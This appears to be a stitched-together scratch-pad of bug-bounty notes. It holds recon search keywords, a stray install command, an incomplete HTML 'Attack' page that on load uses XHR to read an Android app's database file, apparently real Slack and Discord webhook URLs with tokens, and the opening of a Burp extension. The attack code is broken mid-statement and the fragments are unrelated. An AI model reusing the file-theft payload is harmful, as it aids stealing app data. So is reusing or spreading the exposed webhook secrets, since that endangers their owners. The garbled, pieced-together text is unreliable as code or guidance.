bala manohar surya sai balook

Google bugbounty Scope data

 "Comapany" [keyword] => /api, /internal/api, stag, swagger,dev,corp, apikey

 "company" path:/api
 "company" extension:php

I hereby claim:

To claim this, I am signing this object:

sudo apt install zsh-autosuggestions zsh-syntax-highlighting zsh

	<html>
	<body onload="doAttack()">
	<h1>Attack</h1>
	<script>
	// file path to steal
	var target "file:///data/data/com.target.app/databases/target.db";
	=
	// get the contents of the target file by XHR
	function doAttack() {
	var xhr1 = new XMLHttpRequest();

	burp_biid: "123456798"

	slack_webhook_url: https://hooks.slack.com/services/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
	slack_username: prob
	slack_channel: alert
	slack: true


	discord_webhook_url: https://discord.com/api/webhooks/763657778480414721/lZyZIbTFP9ZtL_0nPrUS9fGtsf-D4xPgCv_ESp4Olv4jMrCjv3YS608WIPJHxh-sxc8F
	discord_username: fucker

	import json
	import sys
	from java.io import PrintWriter
	from burp import IBurpExtender
	from burp import IHttpRequestResponse
	from burp import IHttpService
	from burp import ISessionHandlingAction
	import re

	#Regex for extracting value of the token from the HTML Body